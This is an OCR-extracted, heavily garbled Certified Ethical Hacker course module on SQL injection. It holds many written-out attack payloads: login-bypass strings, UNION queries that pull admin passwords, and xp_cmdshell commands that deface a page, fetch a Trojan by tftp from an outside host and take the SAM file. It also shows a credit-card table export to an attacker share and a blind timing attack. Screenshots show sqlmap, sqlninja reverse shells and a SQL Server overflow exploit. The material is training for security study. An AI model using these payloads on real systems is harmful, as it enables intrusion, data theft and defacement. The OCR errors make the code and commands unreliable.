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C EH scenario
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Susan was an SQL programmer with a reputed firne. Sh
ordered an expensive anniversary gift for her hmsba
from e-shopping4u.cam..which.was.ales-known online
shopping portal but was offering better deals, aad
promised delivery on annivesisy day. She wanted to give
her husband a surprise gift. She was very upsehen
annversaryday as he gft she ordered was notdelivered.
She tried to contact the portal but in vain. Afseveral
failed attempts to contact the portal, she thougfltaking
revenge out of frustratian

What do you think, as an SQL programmer Susan @h d
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CEH nNews
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Mass SQL injection attack compromises 70,000 websites

Jdirm Carr

Updated Wed., Jan. 9, 2008, at 4:37 p.m. EST

An automated SOL injection attack, which at one point compromised more than 70,000 websites, hijacked visitors' PCs with a variety of exploits last week,
according to researchers,

The hacked sites, which could be found easily via a Google search, affected a wide varety of pages, Roger Thompson, chief research officer at Grsoft, noted
Saturday in a hlog post.

"This was a pretty good mass hack,” he said. "It wasn't just that they got into a server farm, as the victims were quite diverse, with presumably the only common
point being whatewver vulnerability they all shared.”

The attack affected websites in both the .edu and .gov domains, according to researchers at the SANS Institute’s Internet Starm Center (ISC). Several pages of
CA's website were infected as well.

“These are almost all trusted sites," Alan Paller, SANS research director, told SCMagazineldS. com.

The cyberattackers used a Z0L injection attack on Microsoft's 0L Server database product to compromise the array of sites. "[It was] an application that
accessed system tables not commonly accessed,” said Phil Meray, vice president of marketing at Guardium.

"[The affected tables] told the hacking application where to ingsert the malicious code in the database " he said. "Once visitars connect to that database, they get
infected with a variety of malware, including the RealPlayer bug discovered in October of last year.
Thompson noted that the 15-month-old valnerability in Microsoft Data Access Components (MDAC), patched in Apnl 2008, was ane flaw exploited in the attack.
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C EH Module Objective
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[This module will familiarize you with:

SQL Injection

Steps for performing SQL Injection

SQL Injection Techniques

SQL Injection in Oracl

SQL Injection in MySql

Attacking SQL servers

Automated Tools for SQL Injection

Countermeasures
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C EH wodule Flow
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SQL Injectior

l

Steps for performing SQL Injection

|

SQL Injection Techniques

|

SQL Injection in Oracl ——

EC-Council

SQL Injection in MySq

l

Attacking SQL servers

|

Automated Tools for SQL Injection
Countermeasur

Copyright © byEC-Council
All Rights Reserved. Reproduction is Strictly Prioihéd




Cartifiad Ethical Hocker

EC-Council

SQL Injection: Introductio
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C EH what is SQL Injection
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SQL injection is a type of security exploit in whithe attacker "injects”
Structured Query Language (SQL) code through afeem input box wtryenrr
access to resources, or make changes to data

It is a techngue of inecting SQL commands to g¥oit non-validated iput
vulnerabilities in a web application database backe

Programmers use sgiential commands with userpaot, making it easier for
attackers to inject commands

Attakerscanexecue arbitrary SQLcommanus trirougt tHe wenappitaron
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C EH Exploiting Web Applications
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Fiogos - e rpsol irgenish Baplarer =101 |

It exploits web applications using client-supplieql B
guenes ] I T T oo junr
Logon
It enables an attacker to execute unauthorized SQL e —
commards o
|
] porm & Local rtrarat

It also takes advanga of unsafeueries in web
applications and builds dynamic SQL queries

For example, when a user logeto a web page by using a
user name and password for validatiamQLqUery T
used

However, the attacker can use SQL injection to send
specally creited usernameand passwod fields that
poison the original SQL query
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C EH sOL Injection Steps
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What do you need?

Any web browser

a EC-Council | Login - Microsoft Internet Explorer = jl:l! Xj
| File Edit wWis Favorites Tools Help | ,1-?

= = Tt Cmmm ' - o] i, == i = = = === e

| Q Back - L | | :] “wl | - Search S5 T Favorites ‘er “edia 6-:-‘::' I - = N - =

| Aaddress !.EH htkp: flreccouncil.argfLogin. bt - a L=t=] Links > |

EG-Council i

International Council of E-Commerce Consultants

Educatiom

tHMeed Help?

Forgot Password?

Memhber Login Example of a Login Page

Headline
rMember Login Area

FPlease login with yvour Proroetric Prizne Username and Passwaord.,

Username || 71
Password I )

Forgot Password

[ [ mtermet &

Input validation attackccurs here on a website
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C EH what Should You Look For
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Try to look for pages that allow a ustersubmit data, for example: a log in
page, seattpage feedbadk, etc

Look for HTML pages that use POST or GET commands

If POST is used, you cannot see the parametensarRL

Check the source code of the HTML to get informatio

For example, to check whether it isiig POST or GET, look for the <Form>
tag in the source code

<Form action=search.asp method=post>

<input type=hidden name=X value=2>

</Form>
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C EH what If It Doesnt Take Input
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Ifinputisnotgiven,ched for pagedike ASP,JSP,Cdl, or PHP

Check the URL that takes the following parameters:

Example:

e http:// www.xsecurity.com /index.asp?id=10

In the above example, attackers might attempt:

* http://www.xsecurity.com/index.asp?id=blah’or 1=1-

) Copyright © byEC-Council
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C EH OLE DB Errors
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The user-filled fields are enclosed bgiagle quotation mark (). To test, try
using (‘) astheusername

The following error message will be displayehen a (') is entered into a form
that isvuihrerahé to an 3L imection atte

Microsoft OLE DB Frovider far QDBC Drivers
erraor '80040e14"

[Microsoff][ODBC Microsoft Access Driver] Extra )
in query expression 'LUserid="3306"% ar {'a="a'
ARD Password="

I hookingflogin3.asp, line 44

If you get this error, then the websitevulnerable to an SQL injection attack
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C EH Input Validation Attack
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-'; EC-Council | Login - Microsoft Internet Explorer i ]

| File Edit “iew Faworites Tools  Help [ IE* |
2y = _ . _ e 8
| = o o i g Py = " B
Ok @7 e (&) B e yoreater @ &) . WL
| Address ;@j htbp:ffeccouncil. orgfLogin. Rk - a G ! Links ** |

EC-Council
International Council of E-Commerce Consultants
| SRR certification),  Education | ARG AN ' iogi

Meed Help?

Example of a Login Page

Forgot Password?

Memhber Login

Headline
Member Login Area
Please login with v our Prometric Primme Username and Password,
Username | K
Password | | &
Lagin I
Forgot Password
-
| >
T I%E"i-n_te?éi:m =

attack occurs here on a website

Input validation
Copyright © byEC-Council
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C EH SOL Injection Techniques
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Authorization Bypassing log ot
bypass forms
Using theSELECT Used to retrieve data
command from the database
SQL Injection
techniques
- Used to add
Using theINS(IjERT information to the
comman database

Using SQL server
stored procedures
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 How to Test for SQL Injection
CEH |
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Use a single quote in the inp

e blah’ or 1=1—
 Login:blah ' or 1.=1-—
 Password:blah’ or 1=1—

http://search/index.asp?id=blah’ or 1=1--

Deperding on the query, try hefollowing
possibilities:

‘or 1=1--

“or 1=1--
‘or‘a="a
“or"a’="a

‘) or (‘a=a )

EC-Council
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C EH How Does it Work
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Hacker breaks into the system by injecting malfodn&)L into the query

Original SQL Query: }

* strQry ="SELECT Count(*) FROM Users WHERE UserName="" + txtUser.Text +"
AND Password=""+ t xtPassword.Text + "

In the case of the user enteriagyalid user name of "Paul")
and a password of "password", strQry becomes: J

o SELECT Cuuimtt® "RPRUwUsers ‘"WWHRE&kcUserName="Paul' "MRvDrassnidiirnsassiciu

But when the hacker enters ' Or 1=1--the query now 1
becomes:

* SELECT Count(*) FROM Users WHERE UserName=" Or 1=1 --' AND Password="

Because a pair of hyphens designates the begimofiag W
comment in SQL, the query becomes simply:

L L L L

o SELECT Count(*) FROM Users WHERE UserName=" Or 1=1

_ Copyright © byEC-Council
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BadLogin.aspx.cs

CEH
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This code is vulnerable to an SQL Injection Att

private void cmdLogin_Click(object sender, System.EventArgs e) {
strings (twx=
"server=localhost;database=northwind;uid=sa;pwd=;";
SqglConnection cnx = new SqglConnection(strCnx);
cnx.Open();

/[This code is susceptible to SQL injection attacks.

string strQry = "SELECT Count(*) FROM Users WHERE UserName=""' +
txtUser. Text + ™ AND Password="" + txtPassword.Text + "";

int intRecs;

Attack Occurs Her

SglCommand cmd = new SglCommand(strQry, cnx);
intRecs = (int) cmd.ExecuteScalar();

if (intRecs>0) {
FormsAuthentication.RedirectFromLoginPage(txtUser.Text, false):
}
else {
IbIMsg.Text = "Login attempt failed.";
}

chx . Tusty),

EC-Council
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c EH BadProductList.aspx.cs

Cartifiad Ethical Hocker

This code is vulnerable to an SQL Injection Att

private void cmdFilter_Click(object sender, System.EventArgs e) {
dgrProducts.CurrentPa gelndex = 0;
bindDataGrid();

}

private void bindDataGrid() {
dgrProducts.DataSource = createDataView();
dgrProducts.DataBind();

}

private DataView createDataView() {
string strCnx =
"server=localhost;uid=sa;pwd=;database=northwind;";
string strSQL = "SELECT Productld, ProductName, " +
"QuantityPerUnit, UnitPrice FROM Products";

Attack Occurs Here

/[This code is susceptible to SQL injection attacks.
if (txtFilter. Text.Length > 0) {

}

strSQL +=" WHERE ProductName LIKE ™ + txtFilter. Text + ™"

SglConnection cnx = new SqglConnection(strCnx);
SglDataAdapter sda = new SglDataAdapter(strSQL, cnx);
DataTable dtProducts = new DataTable();
sda.Fill(dtProducts);

return dtProducts.DefaultView;

EC-Council

Copyright © byEC-Council
All Rights Reserved. Reproduction is Strictly Prioivéd




C EH Executing Operating System
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remote execution

Use stored procedures likeaster..xp cmdshell to perform

—[ Execute any OS commands

]
)

* blah‘;,exec master.. Xp cmdshell
here” --

“Insert OS command

—[ Ping a server

]
)

bl ah ;exec mas ter.. xp_cmdsheil

“prng”IUiLV. 20 - -

—[ Directory listing

)
)

e blah ‘cexer master .. xp_cmdshell
c:\directory.txt” --

“Air, o\ > * /s >

—[ Create a file

)
)

» blah‘;exec master.. Xp_cmdshell
> c:\juggyboy.txt” —

“echo j uggyboy - was- here

EC-Council
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C EH Executing Operating System

o e COMMmands (cond

Defacing a web page (assuming that write access is
allowed due to misconfiguration)

 blah*;exec master..xp_cmdshell “echo you-are-defaced >
c:\inetpub\www.root\index.htm” —-

Execute applications (only n-guiapp’

 blah*;exec master..xp_cmdshell “cmd.exe /c appname.exe” --

Upload a Trojan to the server

* blah*;exec master..xp_cmdshell “tftp —i 10.0.0.4 GET trojan.exe
c:\trojan.exe” --

Download a file from the server

e blah ca¥er master .. xp_omdshell  “tftp  —i 10.0Q.0.4 it
c:\winnt\repainSAM SAM” --

] Copyright © byEC-Council
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c EH Getting Output of SOL Query
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Usesp rmrakevweliasto write a query into an HTM

Example

 blahEXEC master..sp_makewebtask
“\\10.10.1.4shard creditcard.htmiI”,

« “SELECT * FROM CREDITCARD”

« The above command exports a table called credit ¢a th
attacker’s network share

Copyright © byEC-Council
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c EH Getting Data from the Database
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Using ODBC Error Messa!

Using UNIONkeyword

 http://xsecurity.com/index.asp?id=10 UNION
SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLE- -

 Toretrieve information from the above query use

« SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--

UsingLIKE keyword

 http:// xsecurity.com /index.asp?id=10 UNION SELECT
TOP 1 TABLE FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME LIKE ‘%25L0OGIN%25’--

_ Copyright © byEC-Council
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C EH How to Mine all Column Names
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To map out all the column names of a table, type:

 http://xsecurity.com/index.asp?id=10 UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login’—-

To get to the next column name, UseT IN( )

* http:// xsecurity.com /index.asp?id=10 UNION SELECT TOP
1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE NAME=admin lo gin ° WHERE COLUMN NAME NOT
IN(‘login_id’)--

Copyright © byEC-Council
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c EH How to Retrieve any Data

Cartifiad Ethical Hocker

To get theogin_name from the
“admin loajn. " table

» http:// xsecurity.com /index.asp?id=10 UNION
SELECT TOP 1 login_name FROM admin_login--

From above, you gebgin_name of
theadmin_user

To get the password for

login " 1%anic=" yuri - -

o http”// xsecurity.com /index.asp?id=10 UNION
SELECT TOP 1 password FROM admin_login where
| og1 n_name=‘yuri’ --

Copyright © byEC-Council
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C EH How to Update/Insert Data into
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After gatheringall of cooumnnamesot atable, it 1Ispossbleto UPDATE
or INSERT records into it

« Example to change the password for “yuri”
 http:// xsecurity.com /index.asp?id=10; UPDATE ‘admin_login’
SET ‘password’ = ‘newboy5’ WHERE login_name="‘yuri’--

To INSERTa record

 http:// xsecurity.com /index.asp?id=10; INSERT
INTO*admin_login’(‘login_id’,’login_name’,’password’,'details’)
VALUES(111,'yuri2’,’newboy5’,’'NA")--

] Copyright © byEC-Council
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c EH SQL Injection in Oracle
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SQL Injection in Oracle can be
performed as follow:

|
)

second statement

a dynamic SQL string

AnonymousPL/ SQL block in procedures

UNIONS can be added to the existing statement to execute a

SUBSELECT®an be added to existing statements
Data Definition Language (DDL) can be injecteldDfL is used in

INSERTS, UPDATES, andDELETEScan also be injected

EC-Council
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C EH sOL Injection in MySgl Database
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It is not easy to perform SQL injection inMySql databas T

While coding with a MySqgl application, the injectiominerability is not
exploited

It is diffi cult to trace he outou

You can see an error because the value retrievpddased on to multiple
queries with different numbers of columns before Hetript end:

In such situationsSELECTandUNION commands cannot be used

) Copyright © byEC-Council
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c EH SQL Injection in MySqgl Database

| e (CONTA)

For exampe:consder a database
‘plzza:”

http://www.xsecurity.com/pizza/index.php?a=post&py&=1'
To show the tables, type the query:

* mysql> SHOW TABLES;
To see the current us

 mysql> SELECT USER();

The following query shows the first byte of AdmsiH'ash:

 mysql> SELECT SUBSTRING(user_password,1,1)FROM
mb_users WHERE user grou p =1;

The following query shows the first byteAdmin's Hash as an ASCIl number:
* mysql> SELECT ASCII('5");

_ Copyright © byEC-Council
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c EH SQL Injection in MySqgl Database

| e (CONTA)

Preparing th«GETReques!

 Toinject SQL commands successfully, the estifrom any single quotes should be
cleane«

 mysgl> Select active_id FROM mb_active UNION SELECT
IF(SUBSTRING(user_password,1, 1) = CHAR(53), BENCHMARK(1000000,
MD5(CHAR(1))), null) FROM mb_users WHERE user_group =1;

Exploiting the Vulnerability

» Frst,login as a reiggtera user wth the rights to repy to the current hread

 http://127.0.0.1/pizza/index.php?a=post&s=reply&t=1 UNION
SELECT IF (SUBSTRING(user_password,1,1) = CHAR(53),
BENCHMARK(1000000, MD5(CHAR(1))), null), null, null, null, null
FROMmb users WHEREuser group = 1/*

* You will see a slow down, because first byte is CHAR(53), 5

_ Copyright © byEC-Council
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c E H Attack Against SQL Servers
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{Tech ngues Involved:

|

(Understand SQL Server and extract the necessar
Information from the SQL Server Resolution Servic

s

-

List of servers by Osql-L probes

~

Sc.exe sweeping of services

Port scanning

~

EC-Council

-

Use of commercial alternatives

J
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c EH SQL Server Resolution Service

| e (OORS

SSRS service is responsible for sending a resppasket containing the
connection details of clients who send a specfallyned request

The packet contains the details necesdargonnect to the desired instance,
including the TCP po

The SSRS has buffer overflow vulnerabilities thkbww remote attackers to
overwrite portions of system’s meory and execute arbitrary codes

) Copyright © byEC-Council
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C EH oOsqlL- Probing
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Osql L- Probing is a command-line utility provided Blcrosoft with SQL
Server 2000, that allows the uderissue queries to the server

Osqgl.exe includes a discovery switch.\ that will poll the network looking
for other installations of SQL Serv

It returns a list of server names and instanceswithout details about TCP
ports or netlibs

) Copyright © byEC-Council
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CEH
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SQL Injection Tool
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C EH SQL Injection Automated Tools
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SQLDict
SqlExec
SQLDbf
SQLSmack
SQL2.exe

AppDetective
Database Scanner
SQLPoke
NGSSQLCrack
NGSSQuirrelL
SQLPingv2.2

EC-Council
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C EH Hacking Tool: SQLDict
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SQLdictis a dictionary attack tool for SC
Server

It tests if the accounts are strong enough to
resist an attack

EC-Council

{51l

SOLdict 2.1 - The SEL Server Dictionary Atkacker
copyright (] 2000, Arne Yidstrom
arne.vidstrom@nteecurnity, nu - Ritpddntzecunity, nu

Target server |F:; ]|

Target sccount: 1

Load Pazsword File |

Start | E uit
=

Sourcehttp:// ntsecurity.nu/ cgi-bin/ download/ sqldict.exe.pl
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C EH Hacking Tool: SQLExec
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This tool executes commands on compromiskcrosoft SQL Servers by using xp_cmdshell

storedprocedure

It uses a default sa account with a NULL password

USAGE: SQLExec www.target.com

v CAWINDOWSASystem32\cmd. exe

“Documents and Settings~Ouner My Documentz“Ethical Hacking Labh Files vZ-Module
14 — S5QL Injectionssglexeclsglexec

SQLExec 1.8 for Windows HWIA/ZHK-7%

By Egemen Tas (Send all feedbacks and bug reports to egemenfhtkom.com?

llcage = SQLExec <Hostname2
t#t? (Do not use ip addres=zesz of targets)>fttt

“Documents and Settings~Ouner My Documentz“Ethical Hacking Lab Filesz uvZModule
14 — S5QL Injection“ssglexec>

Sourcehttp://phoenix.liu.edu/

Copyright © byEC-Council
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c EH SQL Sever Password Auditing

o o 10012 SOl

sqlbftool is used to audit the strengihMicrosoft SQL Server passwords offline

The tool can be used either in BruterE® mode or in Dictionary attack mode

The performance on a 1GHZ pentium (25B8) machine is about 750,000 guesses/sec

To be able to perform an audit, the passwordhes that are stored in the sysxlogins table
in the master database are nee

The hashes are easy to retrieve, although a pgetleaccount is needed. The query to use
would be:

select name, password from master..sysxlogins
To perform a dictionary attack on the retrieved lhes
*sglbf-u hashes.txt -d dictionary.dic -r out.rep

) Copyright © byEC-Council
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c EH Hacking Tool: SQLSmack
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SQLSmack is a Linux-based remote command executoMSSQL

When provided with a valid user namad password, the tool permits the
execution of commands on a remote BQL Server, by piping them through
the stored procedumaaster..xp_cmdshell

_ Copyright © byEC-Council
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c EH Hacking Tool: SQL2.exe

Ethical Hocker

SQL2 is an UDP Buffer Overflow Remote Exploit hat§itool

Cartifiad

e C:AWINDOWS\System32\cmd. exe

S0L Server UDP Buffer Overflow Remote Exploit

odified from "Advanced Windows Shellcode"
Code by David Litchfield, davidB@ngssoftware.com

Modified by lion., fix a bug.
delcome to HUC UWebsite http:s/suww.cnhonker.com

Sage:
sql2 Target [{MCHost»> <{MCPort> <SQLSP>1]

Exemple :
Target is MSS5QL SP A:
C=x»nc -1 —p 53
Canragl? db.target.com 8
Target is MSSGQL SP 1 or 2:
202.2082.282.282

cisnragl? db.target.com

282.282.282.282 53

tsDocuments . and SettingssOwnersDesktopsExploitssExploits 15Exploits>

Copyright © byEC-Council
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CEH sqmap
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sglmap is an automatic SQL injection tool develope®ython

It performs an extensive database management syiséekirend
fingerprint

Features:

Retrieves emote DBMS databas

Retrieves usernames, tables, and columns
Enumerates the entire DBMS

Reads system files

It supports two SQL injection techniques:

e Blind SQL Injectior
* Inband SQL injection, also known as UNION quer{ 8pection

) Copyright © byEC-Council
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c EH sglmap: Screenshot 1

Cartifiad Ethical Hocker

inquis@leboyer;~/sglmap% python sglmap.py -u "hittp://192.168.1.47/sqlmap/mysql/get s

sqlmap/8.6-rcS coded by inguis <bernardo.damele@gmall . come-
and belch =daniele.bellucci@gmall.coms

[#] starting at: 17:38:24
remote DBMS: MyS0L »>= 5.0.8

atabase management system users [53]:
*] *debian-sys-maint'@'localhost®

] *root'@'127.8.8.1

] 'root'@' leboyer'

] ‘root'@' localhost’

] ‘testuser'@’'locathost®

d
[
[
[
[
[-

[*] shutting down at: 17:30:27

Enumerate Database Management System Users

EC-Council

str.php?id=1" --users

Copyright © byEC-Council
All Rights Reserved. Reproduction is Strictly Prioihéd




C EH sglmap: Screenshot 2
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inguis@leboyer =/ qlmaps pytkan sglmap.py -4 “*RBttp:/r192: 0180, 1. 47/ 49lmap/ayvsql focat dstr.phb method POST --data “parl=yvalil&id=15nari=va13%" -v 1

B Lmmp,/8.B-rc% ooded EY InQuls <hErnaro, dame L sigeral | . com=
anid belch =daniele. b=lluce

Bomill . cons

1®] sLarting at: 17:93:88

1T:R5 68 [ITNFD] Testimg if the uwrl is stable, wailt a Ffew seconds
(1T7:05:81] [IWFO] url 1t stable
T17:85:081] [IRFOF testlng AT POST parsseter ‘pard” 1s dynemlc
{17:83:81] [wWAPMING] POST paraweter 'pard’ is npol dynamic
|17:8%:81] [INFAD] testing if POST parameter "id' is dynamic

L7:R%:8]| [TWFADY comfireing that PIST parameter “10° 1s dynaalg
117:05:81) [INFR] PFOST parameter '1d' 15 dymamic
{LT:R5:0 [IkFf Testing sql injection on POST parameter “1d
117:8%:81] [IKFO} testing fumeric/unescaped injection céo POST params=ler 1
[17:83:681) [INFD] POST paraweter '3d' is not memeric/unescaped injectable
117:8%:81| [INWFD] festing stringfsingle quote Inpection om POST parameter 'iq
(LT85 01 [IWRD] POST paraseter 'Ld' 1s not stringselngle guate Lmjedtable
{17:85:81] [INFG] testing STringfdouble quores injectlon on POST parameter “id
117:8%:81] [INFD] cenfirming stringfdouble guotes injectich on POST paramster "id
17:8%:81] [IWFOf POST paraseter 'id’ is string/double quotes imjectable
I7:85:81] [INFED] testing HySal
(IT:05:01) [INFD geery: COMCATI'G 6y
11765 81] [IRFDE Fecrisved: 66
T:p%:81] [IRFO] performed 29 gueries in B Seconds
T:E%:81) [IWFO}] comfirming MySQl
TiRS: A1) [INFD) qisery: LEWGTHL'6")
T:085:081] [INFD) retrleyed: 1
T:B%:81] [IKFO] perfersed 1% dueries Ln B sEconds
[17:8%:81] [INFO] query: SELECT & FROM information schema.TABELES LIMIT 8, 1
17:8%:81] [INFD] retrieved: &

(L7:B5:01)] [INFD} perforsed 13 gueries 1o B secamds
remate [EMS MySGl == 5.8.8

*] shulting down at: I7)603:E]

Test for SQL injection on POSTed data
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C EH sglmap: Screenshot 3

Cartifiad Ethical Hocker

inguis@leboyer:~/sqglmaps python sgilmap.py -u "http://192.168.1.47/sqlmap/mysql/get int.php?id=1" -v 1

sqlmap/0.6-rc5 coded by inquis =<bernardo.damele@gmail.com=
and belch =daniele.bellucci@gmail . com=

[*] starting at: 16:52:39

[16:52:39] [INFO] testing if the url is stable, wait a few seconds
[16:52:48] [INFO] url is stable

[16:52:48] [INFO] testing if GET parameter 'id" is dynamic

[16:32:48] [INFQ] confirming that GET parameter 'id' is dynamic

[16:52:48] [INFO] GET parameter "id' is dynamic

[16:52:48] [INFO] testing sgl imjection on GET parameter ‘id*

[16:52:48] [INFO] testing numeric/unescaped injection on GET parameter 'id’
[16:52:48] [INFO] confirming numeric/unescaped injection on GET parameter 'id
[16:52:48] [INFD] GET parameter *id' i1s numeric/unescaped injectable
[16:52:48] [INFO] testing MySOL

[16:52:4@] [INFO] query: COMCAT("9', "9')

[16:52:48] [INFO]| retrieved: 99

[16:52:48] [INFO] performed 20 queries in B seconds

[16:52:4@] [INFD] confirming MySOL

[16:52:48] [INFO] query: LENGTH("9')

[16:52:48] [INFO] retrieved: 1

[16:52:48] [INFO] performed 13 gueries in & seconds

[16:52:48] [INFO] query: SELECT 9@ FROM information schema.TABLES LIMIT @, 1
[16:52:48] [INFO] retrieved: 9

[16:52:48] [INFO] performed 13 queries in @ seconds

remote DBMS: MySOL »>= 5.8.8

[#] shutting down at: 1G:52:48

Test for SQL Injection and DBMS back-end Detection
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C EH sghninja

Cartifiad Ethical Hocker

Sqglninja is a tool targeted to exploit SQL Injectioulnerabilities on a
web appdication

It performs the followim:

AR

« Fingerprints the remote SQL Server (version, peeforming the
qgueries, user privileges, xp_cmdshell availabilggd DB Server
authentication mod:

Bruteforces the 'sa’' password

Privilege escalation to 'sa'

Creates a custom xp_cmdshell if the original orseble@n disabled
Uploads executabl

Reverses scan in order to look fgoat that can be used for a reverse
shell

Directs and reverses shell, both TCP and UDP
DNS tunnelecpseudoshe, when no ports are available fobindshel
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C EH Sglninja: Screenshot

Cartifiad Ethical Hocker

@' root@nightblade: shome ficesurfer /hack/programming/sql

nighthlade Seglninia
Sglninia rel. 0.1.2
Copyright (C) Z006-2007 icesurfer <r00tlnorthernfortress.nets
Tzage: ./ /=sglninja
- <mode> @ Begquired. Available modes are:
t/teat - test whether the injection is working
f/fingerprint - fingerprint user, *p_cwdshell and more
b/bruteforce - bruteforce =a account
g/ezcalation - add user to sysadmin server role
x/resurrectxp — Lry to recreate *p_cwdshell
wiupload - upload a .scr f£ile
a2/dirshell - direct zhell
kfhackscan - look for an open outhound port
rirevahell - rewverse shell
d/dnaztunnel - attempt a dns tunneled shell
<file> : configuration f£ile [default: sglninja.conf)
<password:> : sSa password
<wordlist> @ wordlist to use in brute mode
<user> : user to add to sysadwin group in escalation mode
wverhose output
<mode> @ activate debug
.3ee README for details

nighthlade .faglninja -m test

Sglninia rel. 0.1.2

Copyright (C) Z006-2007 icesurfer <r00tlnorthernfortress.nets

[-] 2glninja.conf does not exist. Tou want to create it now ? [vin]
>
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C EH Sglninja: Screenshot 2

Cartifiad Ethical Hocker

@' root@nightblade: /home ficesurfer /hack /programming/sql

nighthlade Laglninia
Sglninia rel. 0.1.2
Copyright (2) 2006-2007 icesurfer <r00tflnorthernfortress.nets
Tzage: ./=aqglninia
- <mode> :: Begquired. Availabhle modes are:
t/test - test whether the injection iz working
f/fingerprint - fingerprint user, *p_ cmdshell and more
b/bruteforce - hruteforce =& account
g/ezcalation - add user to sysadmin server role
¥/resurrectip - LEY LO rEcreate *p_cmdshell
wiupload - upload a .scr file
=/dirshell - direct =shell
kfhackscan - look for an open outbound port
rirevshell - reverse zshell
d/dnatunnel - attempt a dns tunneled shell
<filer : configuration file ([(default: =glninja.cont)
<password> @ =Sa password
<wordlist:> @ wordlist to use in brute mode
<userr : user to add to sysadwin group in escalation mode
werhose output
<moder @ activate debug
.22 README for details

nighthlade Lfaglninja -m test

Sglninia rel. 0.1.2

Copyright (2) 2006-2007 icesurfer <r00tflnorthernfortress.nets

[-] =dglninja.conf does not exist. ¥ou want to create it now ? [vin]
>
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C EH Sglninja: Screenshot 3

Cartifiad Ethical Hocker

1/auto)] [auto]
[GET 1 [GET]

e, including path and leading =

It mwust include the wvulnerasble parameter and th
art injecting

string)
EEY)
v Lo properly o e the original
nurkber o ing brack

a)a] s

vulnerable one, put

your IP addr [for bai an and rewvshell mod

zniff when in ba san mode

sglninja.conf written successfull

Pa hal

Trying to inj
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C EH Sglninja: Screenshot 4

Cartifiad Ethical Hocker

(v/nfauto) [auto]
Method to use (¢ 1 [GET]

including path and leading slash

erything ne v Lo properly close the original

an appropriate number of clos
aml= .par: bhkh!';

SOme more p = i . he vulnerable one, put
leading

yvour IP address (for backscan and revshell modes)

zniff when in ba n mode
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C EH Sglninja: Screenshot 5

Cartifiad Ethical Hocker

@' root@nightblade: shome ficesurfer fhack /programming,/sql

—-d <mode> @ activate debug
... BREADME for details

nighthlade faglninja -m fingerprint
Jglninia rel. 0.1.2
Copyright (C) Z006-Z007 icesurfer «<r00tidnorthernfortress.nets
[+] Parsing configuration file
[+] Target i=s: 192.165.240.10
What do you want to discowver 2

Databhaze wverzion (200072005

Databasze user

Database user rights

Whether xp cwdshell is working

A11 of the above

FPrint this menu

exit

Checking 3QL 3erver version...
Target: Microsoft 3QL Serwver 2000
.
[+] Checking whether we are sysadmin...
Mo, we are not 'sa'.... :f
[+] Finding dbuser length...
Got it ! Length = 3
[+] MNow going for the characters
DE TUser i=s
> 2
[+] Checking whether user is mewmber of sysadwin server role. ..
[+] Check whether user iz member of sysadiin serwver role....
PRt s Tu i - TR - Te iR Rt -l [T o1 used the escalation mode already,
it might be that you are using old ODEC connections. 3ee the BEELDME
for how to deal with thi=

> 1l
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C EH Sglninja: Screenshot 6

Cartifiad Ethical Hocker

@' root@nightblade: /home ficesurfer fhack /programming,/sql

toepfudp [default: top]: top

[+] Starting tcp backscan on host 192.165.240. 10
port 80 ok !

[+4] =shutting down sniffer...

Iow launch the Ninja in revzshell mode and have fun!
nighthlade Jfaglninia -m rewvshell
Sglninia rel. 0.1.2

Copyright (C) Z006-2007 icesurfer <r00cfnorthernfortress.hnets
[+] Parsing configuration f£ile

[+] Target i=: 192.165.240.10

Local port: S0

topfudp [default: top]:

[+] waiting for shell on port S0/tcp...

Microsoft Windows 2000 [Version 5.00.2195]

[C) Copwyright 1955-2000 HMicrosoft Corp.

CoAWINNT, system3Z>dir o:h

dir o

Volumwe in drive C haz no lashel.
Volumwe Zerial Nuwber i=s D444-5507

Directory of o:b

04/24/2007 11:37a
12/29/2004 03:45p <DIR>
12/29/2004 03:39p <DIR> Inetpub
06/13/2007 03:37p <DIRE> Frogram Files
06/19/2007 03:38p <DIR> WINNT
0z/10/2005 04:29p <DIR> W Terp

1 File (=) 94,291 bhytes

5 Dir (=) 75,063,168 bhytes free

94,291 agent-Jjob-result=s.txt
Documents and Jettings

CoWWINNTYsvstew3z2>:) ) ) ....happy hacking !!! :]I
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CE H SQLler

Cartifiad Ethical Hocker

SQLler takes a vulnerable URL and attempts
to determine all necessamformation to
exploit SQL Injection vulnerability by itself,
requiring no user interaction

SQLler canbuild a UNION SELECT query
designed to brute force passwords out of
database

To operate, this script does not use quotes
in the exploit

@- An 8 character password tak
SR approximately 1 minute to crack

EC-Council All Rights Reserved. Reproduction is Strictly Priotéd
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c EH SQLler: Screenshot

Cartifiad Ethical Hocker

srrl@dalek:™F sqlier httpsffexanple, cond'sglibole php?id=]l —-u Blable
deternining if S0L Injection vulnerable, .. yes

duternining comments sbring,.. "~/

deternining number of fislds in guery. .. “67

deternining if UHION SELECT vulnerable, .. ges

deternining uzers table name... “users™

deternining uzernome Fleld name, ., Yuzernane”

deternining passuword Tield nane,,. "password”

Saved infornation to “/.sqlierd/esploits

Saved explolt for host: now you can use: sqlier exwample.con =u [USERS]
Ltarting hrute Torce on gliven usernameis),...

ACable:Pdsbuir]
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C EH Automagic SQL Injector

Cartifiad Ethical Hocker

Automagic SQL Injector is an automated SQL injenttool designed to
savetimein pendration teding

It is only designed to work with vanilla Microsd®QL injection holes
whereerrorsarereturnel

Features:

Browse tables and dump table data to a CSV file
Upload filesusing debugscrnpt method

Automagical UDP reverse shell

Interactive xp_cmdshell (simulated cmd.exe shell)

@
A

®
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c EH Automagic SQL Injector:
o e DCFEENShot

s CAWINDOWSAsystem32\emd. exe - injector.pl -h 192.168.0.105 -f /process_login. asp

C:\Automagic SOL injector>injector.pl -h 192.168.0.105 -f /process_login.asp -q &3
YES -t POST

[*] Welcome to the Sec-1 Automagical SAL injector [x]
http: //www.sec-1.com

Author: Gary 0'leary-5teele
Uer: 0.1 Beta
Date: [FARVLS

[t] Please enter the vulnerable POST string placing the keyword
QUERYHERE within the vulnerable POST param.

Note: A command line param -q YESINO inserts a quote character
before the injected SQL.However if there are any other requirements
such as closing parentheses they should be added here.

e.g Param:usernamezhello&password=QUERYHERE

Post Param:username:=QUERYHERE&password=hlah
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c EH Automagic SQL Injector:
o e DCFEENShot

XP_CMDSHELL »exit

Please select one of
